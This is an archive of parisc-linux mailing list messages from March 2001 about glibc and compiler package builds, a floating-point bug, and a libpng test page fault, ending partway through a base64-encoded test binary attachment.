	by dsl2.external.hp.com (Postfix) with ESMTP id 394564A19
	for <parisc-linux@parisc-linux.org>; Wed,  7 Mar 2001 16:43:18 -0700 (MST)
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel1.hp.com (Postfix) with ESMTP
	id 9E2FA1435; Wed,  7 Mar 2001 18:42:34 -0500 (EST)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id EEC2E37CB4; Wed,  7 Mar 2001 16:45:07 -0700 (MST)
X-Mailer: exmh version 2.3.1 01/18/2001 (debian 2.3.1-1) with nmh-1.0.4+dev
In-Reply-To: Message from Alan Modra <alan@linuxcare.com.au> 
   of "Tue, 06 Mar 2001 21:07:08 EST." <Pine.LNX.4.21.0103062051380.442-100000@front.linuxcare.com.au> 
Xref: news.gmane.org gmane.linux.ports.parisc:10480

Alan Modra writes...

> On Tue, 6 Mar 2001, Matt Taggart wrote:
> 
> > I am attempting to build the bzip2 debian package I ran into a problem. The
[snip]
> To fix it, you'll need to recompile current pehc CVS glibc using the new
> compiler, which will give you new crti.o and crtn.o  (And yeah, the fault
> is mine - I broke our glibc sources for a while)

The new glibc debs do indeed fix this problem.

Thanks,

-- 
Matt Taggart        Linux Development Lab
taggart@fc.hp.com   HP Linux Systems Operation






From - Thu Nov 08 21:16:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] new debs including util-linux with working "more"
Date: Wed, 07 Mar 2001 18:28:08 -0700
Lines: 19
Approved: news@gmane.org
Message-ID: <20010308012808.28F1837CB4@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619938 16662 80.91.229.3 (22 Nov 2014 01:32:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:18 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar  7 18:25:39 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel2.hp.com (atlrel2.hp.com [156.153.255.202])
	by dsl2.external.hp.com (Postfix) with ESMTP id A1A114A19
	for <parisc-linux@parisc-linux.org>; Wed,  7 Mar 2001 18:25:39 -0700 (MST)
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel2.hp.com (Postfix) with ESMTP id D4F081839
	for <parisc-linux@parisc-linux.org>; Wed,  7 Mar 2001 20:25:34 -0500 (EST)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP id 28F1837CB4
	for <parisc-linux@parisc-linux.org>; Wed,  7 Mar 2001 18:28:08 -0700 (MST)
X-Mailer: exmh version 2.3.1 01/18/2001 (debian 2.3.1-1) with nmh-1.0.4+dev
Xref: news.gmane.org gmane.linux.ports.parisc:10481

I've been uploading lots of userspace debs to,

ftp://puffin.external.hp.com/ftp/pub/parisc/binaries/new-debs/

but of particular interest is a new util-linux with a working "more" command. 
I don't know about you, but that one was really pissing me off. Yeah I know I 
should use less but I haven't trained my brain to do that yet(that's what 
aliases are for!).

Thanks again to Richard for the fix.

-- 
Matt Taggart        Linux Development Lab
taggart@fc.hp.com   HP Linux Systems Operation






From - Thu Nov 08 21:16:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: buggz <buggz@america.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] new debs including util-linux with working "more"
Date: Wed, 7 Mar 2001 20:35:52 -0500 (EST)
Lines: 21
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.30.0103072032450.14108-100000@buggz1.buggz.net>
References: <20010308012808.28F1837CB4@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619939 16665 80.91.229.3 (22 Nov 2014 01:32:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:19 +0000 (UTC)
To: <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar  7 18:30:29 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail1.atl.bellsouth.net (mail1.atl.bellsouth.net [205.152.0.28])
	by dsl2.external.hp.com (Postfix) with ESMTP id 087984A19
	for <parisc-linux@parisc-linux.org>; Wed,  7 Mar 2001 18:30:29 -0700 (MST)
Original-Received: from adsl-76-168-34.asm.bellsouth.net (adsl-76-168-34.asm.bellsouth.net [216.76.168.34])
	by mail1.atl.bellsouth.net (3.3.5alt/0.75.2) with ESMTP id UAA14721
	for <parisc-linux@parisc-linux.org>; Wed, 7 Mar 2001 20:17:41 -0500 (EST)
X-Sender: <buggz@buggz1.buggz.net>
In-Reply-To: <20010308012808.28F1837CB4@carmen.fc.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:10482

On Wed, 7 Mar 2001, Matt Taggart wrote:

> I've been uploading lots of userspace debs to,
>

How would an average user start this process?
Will there be a new .iso soon?
Or should I start w/ the 0.5 image?
I'm not a developer, but I would like to play too  *8^)
Oh, I only have 715's btw...


--
 Ed June

 buggz@america.net
 Linux: An open choice for free people worldwide.





From - Thu Nov 08 21:16:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] New native glibc debs available
Date: Wed, 07 Mar 2001 18:33:59 -0700
Lines: 27
Approved: news@gmane.org
Message-ID: <20010308013359.297CB37CB4@carmen.fc.hp.com>
References: <20010307231120.68F2737CB4@carmen.fc.hp.com>  
 <20010307234151.87F3037CB4@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619939 16667 80.91.229.3 (22 Nov 2014 01:32:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:19 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar  7 18:31:26 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel1.hp.com (atlrel1.hp.com [156.153.255.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id 280294A19
	for <parisc-linux@parisc-linux.org>; Wed,  7 Mar 2001 18:31:26 -0700 (MST)
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel1.hp.com (Postfix) with ESMTP id BCCEE954
	for <parisc-linux@parisc-linux.org>; Wed,  7 Mar 2001 20:31:25 -0500 (EST)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP id 297CB37CB4
	for <parisc-linux@parisc-linux.org>; Wed,  7 Mar 2001 18:33:59 -0700 (MST)
X-Mailer: exmh version 2.3.1 01/18/2001 (debian 2.3.1-1) with nmh-1.0.4+dev
In-Reply-To: Message from Matt Taggart <taggart@carmen.fc.hp.com> 
   of "Wed, 07 Mar 2001 16:41:51 MST." <20010307234151.87F3037CB4@carmen.fc.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:10483

Matt Taggart writes...

> and remove all occurances of GLIBC_2.2. I am rebuilding the debs with the 
> proper fix now and will post them soon.

OK fixed versions of,

glibc-doc_2.2.1-1_all.deb
libc6-dbg_2.2.1-1_hppa.deb
libc6-dev_2.2.1-1_hppa.deb
libc6-pic_2.2.1-1_hppa.deb
libc6-prof_2.2.1-1_hppa.deb
libc6_2.2.1-1_hppa.deb
locales_2.2.1-1_all.deb

are available at,

ftp://puffin.external.hp.com/pub/parisc/binaries/new-debs/debian/

-- 
Matt Taggart        Linux Development Lab
taggart@fc.hp.com   HP Linux Systems Operation






From - Thu Nov 08 21:16:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Nicholas Leippe <nick@byu.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] New to list (just got a B132L)...
Date: Wed, 07 Mar 2001 19:19:06 -0700
Organization: BYU
Lines: 47
Approved: news@gmane.org
Message-ID: <01030719190606.00237@nick>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416619939 16669 80.91.229.3 (22 Nov 2014 01:32:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:19 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar  7 19:20:25 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from email2.byu.edu (email2.byu.edu [128.187.22.134])
	by dsl2.external.hp.com (Postfix) with ESMTP id 384114A19
	for <parisc-linux@parisc-linux.org>; Wed,  7 Mar 2001 19:20:25 -0700 (MST)
Original-Received: from nick ("port 34217"@[128.187.222.245])
 by EMAIL1.BYU.EDU (PMDF V6.0-24 #45325)
 with SMTP id <01K0XCZ716OS93E987@EMAIL1.BYU.EDU> for
 parisc-linux@parisc-linux.org; Wed, 07 Mar 2001 19:19:16 -0700 (MST)
X-Mailer: KMail [version 1.2]
Xref: news.gmane.org gmane.linux.ports.parisc:10484

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Hi all,

I just got myself a B132L, and am eventually gonna get
Linux on there.

I've already installed LFS (www.linuxfromscratch.org)
on a few x86 boxes, and was wondering how involved
the build process was.  (I've not yet built an xc or
attempted a cross-install, but I've been thinking on
how I'd do it...)

I'd really rather not use Debian or anything 
pre-packaged...

I'd really rather figure out how to do a complete
cross-install, since my dual x86 box can compile much
faster than any of my other arch. boxes.  Still not
sure if this is really possible.

Nick

ps, I've got an alpha, a mips, and an _old_ m68k machine
as well, so I'm hoping there will be a lot of carry-over
for all of them... (luckily all models I own are well
supported by their respective Linux port)

- -- 
Nobody will ever need more than 640 kB RAM.
                 -- Bill Gates, 1983
Windows 98 requires 16 MB RAM.
                 -- Bill Gates, 1999
Nobody will ever need Windows 98.
                 -- logical conclusion
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.4 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iD8DBQE6puwbGinZK3ajqyURAuttAKCIoMuvVmti0+XIsC2REaBTS3z+xwCeIZZ1
+LGwL5SWRtoNjknNATyYX34=
=dQWM
-----END PGP SIGNATURE-----




From - Thu Nov 08 21:16:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bruno IGLESIAS <iglesiab@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Problem on floating calculation
Date: Thu, 08 Mar 2001 15:16:48 +0000
Lines: 16
Approved: news@gmane.org
Message-ID: <20010308141648.B672CD15EA@mail.esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416619940 16672 80.91.229.3 (22 Nov 2014 01:32:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:20 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: submit@bugs.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Mar  8 07:16:55 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id A711C4A19
	for <parisc-linux@parisc-linux.org>; Thu,  8 Mar 2001 07:16:55 -0700 (MST)
Original-Received: from esiee.fr (mail.esiee.fr [147.215.1.3])
	by mail.esiee.fr (Postfix) with ESMTP
	id B672CD15EA; Thu,  8 Mar 2001 15:16:48 +0100 (CET)
User-Agent: IMHO/0.97.1 (Webmail for Roxen)
Xref: news.gmane.org gmane.linux.ports.parisc:10485

	When I execute Seti@home client (32 Bits executable) on a 64 Bit     
architecture ( HP900A500-A5X i.e ESIEE's A500) ,the expression :      
                                                                      
   "exp(-(0.693 * SQUARE((float)(i) - (float)(ul_TOffset))) /         
(float)(f_SigmaSq))"                                                  
                                                                      
doesn't work with some specific value. For example exp(-89.790901)    
result in an illegal instruction message.                             
                                                                      
I'm using the current xc ( 0307 ) and a quite recent cvs update of the
kernel ( running in a monoprocessor version.                          
                                                                      
	Bruno IGLESIAS                                                       




From - Thu Nov 08 21:16:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Problem on floating calculation
Date: Thu, 8 Mar 2001 14:35:59 +0000
Lines: 19
Approved: news@gmane.org
Message-ID: <20010308143559.D4821@parcelfarce.linux.theplanet.co.uk>
References: <20010308141648.B672CD15EA@mail.esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619940 16676 80.91.229.3 (22 Nov 2014 01:32:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:20 +0000 (UTC)
Cc: submit@bugs.parisc-linux.org, parisc-linux@parisc-linux.org
To: Bruno IGLESIAS <iglesiab@esiee.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Mar  8 07:36:28 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 480B34A19
	for <parisc-linux@parisc-linux.org>; Thu,  8 Mar 2001 07:36:27 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14b1WJ-00031F-00; Thu, 08 Mar 2001 14:35:59 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010308141648.B672CD15EA@mail.esiee.fr>; from iglesiab@esiee.fr on Thu, Mar 08, 2001 at 03:16:48PM +0000
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10486

On Thu, Mar 08, 2001 at 03:16:48PM +0000, Bruno IGLESIAS wrote:
> 	When I execute Seti@home client (32 Bits executable) on a 64 Bit     
> architecture ( HP900A500-A5X i.e ESIEE's A500) ,the expression :      
>                                                                       
>    "exp(-(0.693 * SQUARE((float)(i) - (float)(ul_TOffset))) /         
> (float)(f_SigmaSq))"                                                  
>                                                                       
> doesn't work with some specific value. For example exp(-89.790901)    
> result in an illegal instruction message.                             

i had trouble with a divide performed by a prefetch benchmark program.
there's definitely something wrong with our FP stuff.  I believe this is
bug #72 in the BTS.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:16:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: New native compiler debs available was Re: [parisc-linux] New native 
 glibc debs available
Date: Thu, 08 Mar 2001 13:57:20 -0700
Lines: 39
Approved: news@gmane.org
Message-ID: <20010308205720.7A0C437CB4@carmen.fc.hp.com>
References: <20010307231120.68F2737CB4@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619940 16677 80.91.229.3 (22 Nov 2014 01:32:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:20 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Mar  8 13:55:18 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel1.hp.com (atlrel1.hp.com [156.153.255.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id D316F4A19
	for <parisc-linux@parisc-linux.org>; Thu,  8 Mar 2001 13:55:18 -0700 (MST)
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel1.hp.com (Postfix) with ESMTP id 4DEB811D7
	for <parisc-linux@parisc-linux.org>; Thu,  8 Mar 2001 15:54:47 -0500 (EST)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP id 7A0C437CB4
	for <parisc-linux@parisc-linux.org>; Thu,  8 Mar 2001 13:57:20 -0700 (MST)
X-Mailer: exmh version 2.3.1 01/18/2001 (debian 2.3.1-1) with nmh-1.0.4+dev
In-Reply-To: Message from Matt Taggart <taggart@carmen.fc.hp.com> 
   of "Wed, 07 Mar 2001 16:11:20 MST." <20010307231120.68F2737CB4@carmen.fc.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:10487

Matt Taggart writes...

> I have installed them and am building new compilers against them now. I will 
> post those soon.

Ok, I have posted new compilers built against the new glibc debs. They are,

cpp-2.97-doc_2.97-010203_all.deb
cpp-2.97_2.97-010203_hppa.deb
fixincludes_2.97-010203_hppa.deb
g++-2.97_2.97-010203_hppa.deb
g77-2.97-doc_2.97-010203_all.deb
g77-2.97_2.97-010203_hppa.deb
gcc-2.97-base_2.97-010203_all.deb
gcc-2.97-doc_2.97-010203_all.deb
gcc-2.97_2.97-010203_hppa.deb
gcc-2.97_2.97.ds4-010203.dsc
gcc-2.97_2.97.ds4-010203_hppa.changes
gobjc-2.97_2.97-010203_hppa.deb
libgcc297_2.97-010203_hppa.deb
libobjc297_2.97-010203_hppa.deb
libstdc++2.97-dbg_2.97-010203_hppa.deb
libstdc++2.97-dev_2.97-010203_hppa.deb
libstdc++2.97-doc_2.97-010203_all.deb
protoize_2.97-010203_hppa.deb
libstdc++2.97_2.97-010203_hppa.deb

and are available at,

ftp://puffin.external.hp.com/pub/parisc/binaries/new-debs/debian/

-- 
Matt Taggart        Linux Development Lab
taggart@fc.hp.com   HP Linux Systems Operation






From - Thu Nov 08 21:16:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] libpng test program causes page fault
Date: Thu, 08 Mar 2001 14:04:36 -0700
Lines: 562
Approved: news@gmane.org
Message-ID: <20010308210436.4AEA537CB4@carmen.fc.hp.com>
References: <20010306093951.7816D38BD7@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed ;
	boundary="==_Exmh_-782328440"
X-Trace: ger.gmane.org 1416619941 16683 80.91.229.3 (22 Nov 2014 01:32:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:21 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Mar  8 14:02:04 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel2.hp.com (atlrel2.hp.com [156.153.255.202])
	by dsl2.external.hp.com (Postfix) with ESMTP id EB2834A19
	for <parisc-linux@parisc-linux.org>; Thu,  8 Mar 2001 14:02:03 -0700 (MST)
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel2.hp.com (Postfix) with ESMTP id 043C1422
	for <parisc-linux@parisc-linux.org>; Thu,  8 Mar 2001 16:02:03 -0500 (EST)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP id 4AEA537CB4
	for <parisc-linux@parisc-linux.org>; Thu,  8 Mar 2001 14:04:36 -0700 (MST)
X-Mailer: exmh version 2.3.1 01/18/2001 (debian 2.3.1-1) with nmh-1.0.4+dev
In-Reply-To: Message from Matt Taggart <taggart@carmen.fc.hp.com> 
   of "Tue, 06 Mar 2001 02:39:51 MST." <20010306093951.7816D38BD7@carmen.fc.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:10488

This is a multipart MIME message.

--==_Exmh_-782328440
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable


Matt Taggart writes...

> When building the libpng debian package,
> =

> apt-get source libpng
> cd libpng-1.0.8
> dpkg-buildpackage
> =

> it builds a 'pngtest' program and attempts to run it resulting in this =
page =

> fault,
> =

> -----------------------------------------------------------------------=
------
> -
> do_page_fault() pid=3D29568 command=3D'pngtest' type=3D6 address=3D0x0a=
000003
> vm_start =3D 0x00005000, vm_end =3D 0x00007000
> =

>      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> PSW: 00000000000001101111111100001111
> r0-3     00000000 40016f9c 40057ec7 faf003c0
> r4-7     4001a380 000a6bf0 000a6c10 00000002
> r8-11    faf001d4 faf001cc 00000001 4001baf0
> r12-15   4001bad0 00000000 000a6c70 00000000
> r16-19   00000000 00005000 00000000 4001a380
> r20-23   0a000000 000048c8 0a000000 00000000
> r24-27   faf001d4 faf001cc 00000001 00076808
> r28-31   4001b1f2 00000037 faf00440 40057ec7
> sr0-3    00004387 00004387 00000000 00004387
> sr4-7    00004387 00004387 00004387 00004387
> =

> IASQ: 00004387 00004387 IAOQ: 0a000003 0a000007
>  IIR: 43ffff80    ISR: 102400c9  IOR: 93700428
> ORIG_R28: faf00001
> -----------------------------------------------------------------------=
------

I am still having the problem with the new fixed glibc and new compilers.=
 The =

page fault is different though,

-------------------------------------------------------------------------=
----
do_page_fault() pid=3D19510 command=3D'pngtest' type=3D15 address=3D0x401=
daa1c
vm_start =3D 0x401c8000, vm_end =3D 0x401cb000

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001001111111100001111
r0-3     00000000 401da908 4004da57 faf003c0
r4-7     401da908 000a9bb0 00000002 4001a930
r8-11    faf001d4 faf001cc 00000001 4001c098
r12-15   4001c078 00000000 000a97f0 00000000
r16-19   00000000 00005000 00000000 401da908
r20-23   00000000 000048c8 4004da28 00000000
r24-27   faf001d4 faf001cc 00000001 00076808
r28-31   4001b79a 00000037 faf00440 4000f1bf
sr0-3    00000616 00000616 00000000 00000616
sr4-7    00000616 00000616 00000616 00000616

IASQ: 00000616 00000616 IAOQ: 40057e93 40057e97
 IIR: 48210228    ISR: 00000616  IOR: 401daa1c
ORIG_R28: faf00001
-------------------------------------------------------------------------=
----

The new pngtest is attached.

Thanks,

-- =

Matt Taggart        Linux Development Lab
taggart@fc.hp.com   HP Linux Systems Operation


--==_Exmh_-782328440
Content-Type: text/plain ; name="pngtest"; charset=iso-8859-1
Content-Description: pngtest
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="pngtest"

f0VMRgECAQMAAAAAAAAAAAACAA8AAAABAAApoAAAADQAAESgAAACEAA0ACAABgAoAB0AGgAA
AAYAAAA0AAAQNAAAEDQAAADAAAAAwAAAAAUAAAAEAAAAAwAAAPQAABD0AAAQ9AAAAA0AAAAN
AAAABAAAAAEAAAABAAAAAAAAEAAAABAAAAA+oAAAPqAAAAAFAAAQAAAAAAEAAD6gAABeoAAA
XqAAAAQEAAAIQAAAAAcAABAAAAAAAgAAQeQAAGHkAABh5AAAAMAAAADAAAAABgAAAAQAAAAE
AAABBAAAEQQAABEEAAAAIAAAACAAAAAEAAAABC9saWIvbGQuc28uMQAAAAAAAAAEAAAAEAAA
AAFHTlUAAAAAAAAAAAIAAAAAAAAAAAAAAEMAAABfAAAAIwAAAFoAAAAAAAAAQQAAABwAAAAn
AAAAXgAAAFkAAAAAAAAAAAAAAEgAAABOAAAAUQAAAAAAAAAlAAAANAAAAAAAAAAAAAAARAAA
AEMAAAAoAAAAAAAAAD0AAAAVAAAASQAAAAAAAAAiAAAAIQAAAFwAAABKAAAABwAAAAAAAAAA
AAAARwAAAFYAAABdAAAAOQAAAAwAAAAAAAAAAAAAAFMAAAA4AAAATAAAAAsAAAArAAAAUAAA
AEYAAAAAAAAAAAAAADMAAAA/AAAATwAAAEsAAAAAAAAAKgAAAFQAAABNAAAAUgAAAAAAAABC
AAAAAAAAADsAAABXAAAAAAAAADAAAAAAAAAANgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwAAAAAAAAANAAAACAAAAAAAAAAA
AAAABAAAAAAAAAAAAAAAFAAAAAAAAAAAAAAADwAAAAAAAAAOAAAAAAAAAAAAAAAZAAAAAAAA
AAAAAAAAAAAAAgAAABIAAAAAAAAAHwAAACYAAAAAAAAAAQAAAAAAAAAAAAAABQAAACwAAAAA
AAAAAAAAAAAAAAAdAAAAKQAAABcAAAAkAAAACgAAADUAAAAAAAAAAAAAAAYAAAAWAAAAAAAA
AAAAAAAAAAAAPAAAAC0AAAAuAAAAHgAAADcAAAAAAAAAAAAAAAAAAAARAAAAMgAAACAAAAAY
AAAAAAAAAAAAAAA+AAAALwAAAEUAAAAbAAAAOgAAAAAAAAAAAAAAAAAAAAAAAABAAAAACQAA
AAAAAAAQAAAAGgAAADEAAAATAAAAWwAAAFUAAABYAAAAAAAAAAAAAAAAAAAAAAAAAA0AAAAA
AAAAPBIAAAAAAAAaAAAAAAAAACgSAAAAAAAAJwAAAAAAAACgEgAAAAAAADoAAAAAAAABgBIA
AAAAAAWCAABIBAAAACgSAAALAAAATQAAAAAAAAAIEgAAAAAAAGUAAAAAAAAAKBIAAAAAAABy
AAAAAAAAACgSAAAAAAAAfwAAAAAAAAAUEgAAAAAABRoAAAAAAAADABIAAAAAAACeAAAAAAAA
ACgSAAAAAAAAvQAAYeQAAAAAEQD/8QAAAMYAAAAAAAAAGBIAAAAAAADXAAAAAAAAAkQSAAAA
AAAA5AAAAAAAAABQEgAAAAAAAPEAAAAAAAAACBIAAAAAAAEIAAAAAAAAAEQSAAAAAAABGwAA
AAAAAALIEgAAAAAAATIAAAAAAAAAKBIAAAAAAAVZAAAAAAAAATwSAAAAAAABPwAAAAAAAAAk
EgAAAAAAAVoAAAAAAAAAPBIAAAAAAAFnAAAAAAAAABgSAAAAAAABfAAAAAAAAACcEgAAAAAA
AYkAAAAAAAAAGBIAAAAAAAUoAAAAAAAAAUwSAAAAAAAFkAAAR9QAAAAwEgAACwAABTsAAAAA
AAABgBIAAAAAAAGdAAAAAAAAACgSAAAAAAABqgAAAAAAAAHwEgAAAAAABPIAAAAAAAAAIBIA
AAAAAAHBAAAAAAAAACgSAAAAAAABzgAAAAAAAAEwEgAAAAAAAdsAACSYAAAAABIAAAoAAAHh
AAAAAAAAAaASAAAAAAAB/QAAAAAAAAD4EgAAAAAAAgwAAAAAAAAAXBIAAAAAAAIZAAAAAAAA
AHgSAAAAAAACJAAAAAAAAAAAIAAAAAAAAjwAAAAAAAAADBIAAAAAAAJWAAAAAAAAAlgSAAAA
AAACYwAAAAAAAAIAEgAAAAAAAnsAAAAAAAAARBIAAAAAAAKIAAAAAAAAAiQSAAAAAAACnwAA
AAAAAAO8EgAAAAAAAq4AAAAAAAAAIBIAAAAAAAUUAAAAAAAAANQSAAAAAAAFIQAAAAAAAAHQ
EgAAAAAAArsAAAAAAAAANBIAAAAAAAU1AAAAAAAAAPwSAAAAAAAFZgAAYqQAAAAAEQD/8QAA
BS4AAAAAAAAAJBIAAAAAAAWjAAA/LAAAB+QSAAALAAACyAAAAAAAAAAQEgAAAAAAAtoAAAAA
AAAAJBIAAAAAAALxAAAAAAAAAhwSAAAAAAAC/wAAAAAAAAEMEgAAAAAABQAAAAAAAAAAhBIA
AAAAAAMMAABIzAAAAAASAAAMAAADEgAAAAAAAAA8EgAAAAAAAx8AAAAAAAABIBIAAAAAAAMs
AAAAAAAAADQSAAAAAAADNQAAAAAAAAAoEgAAAAAAA0gAAAAAAAAAFBIAAAAAAANoAAAAAAAA
BuASAAAAAAAFQgAAAAAAAAFEEgAAAAAAA3YAAAAAAAAAQBIAAAAAAAODAAAAAAAAABwSAAAA
AAAE+QAAYqgAAAAEEQAAFwAAA5AAAAAAAAABABIAAAAAAAOoAAAAAAAAAEASAAAAAAAFXwAA
